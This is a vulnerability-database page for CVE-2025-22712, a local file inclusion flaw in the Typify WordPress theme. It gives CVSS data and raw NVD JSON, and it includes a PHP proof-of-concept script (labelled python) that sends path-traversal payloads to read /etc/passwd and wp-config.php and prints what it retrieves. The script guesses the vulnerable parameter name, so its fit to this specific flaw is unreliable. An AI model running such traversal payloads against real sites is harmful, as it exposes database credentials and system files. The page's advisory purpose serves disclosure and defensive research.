Security Vulnerability Report
中文
CVE-2025-22712 CVSS 8.1 HIGH

CVE-2025-22712

Published: 2026-01-08 10:15:48
Last Modified: 2026-04-27 19:16:12

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in QantumThemes Typify typify allows PHP Local File Inclusion.This issue affects Typify: from n/a through <= 3.0.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

QantumThemes Typify <= 3.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-22712 PoC - Typify Theme Local File Inclusion // Target: WordPress site with Typify theme <= 3.0.2 $target = 'http://target-site.com'; $target_path = '/wp-content/themes/typify/'; // Vulnerable parameter - typically 'file' or similar $vuln_param = 'file'; // Test cases for file inclusion $test_files = [ '../../../../../../etc/passwd', '../../../../../../wp-config.php', '../../../../../../../../../etc/passwd', '....//....//....//....//....//etc/passwd' ]; echo "[*] Testing CVE-2025-22712 - Typify LFI\n"; echo "[*] Target: $target\n\n"; foreach ($test_files as $file) { $url = $target . $target_path . '?' . $vuln_param . '=' . urlencode($file); echo "[+] Testing: $file\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && strpos($response, 'root:') !== false) { echo "[!] VULNERABLE! Found: /etc/passwd contents\n"; echo $response . "\n"; } elseif ($http_code == 200 && strpos($response, 'DB_NAME') !== false) { echo "[!] VULNERABLE! Found: wp-config.php contents\n"; echo $response . "\n"; } } echo "[*] Scan complete\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22712", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:47.727", "lastModified": "2026-04-27T19:16:11.867", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in QantumThemes Typify typify allows PHP Local File Inclusion.This issue affects Typify: from n/a through <= 3.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/typify/vulnerability/wordpress-typify-theme-3-0-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}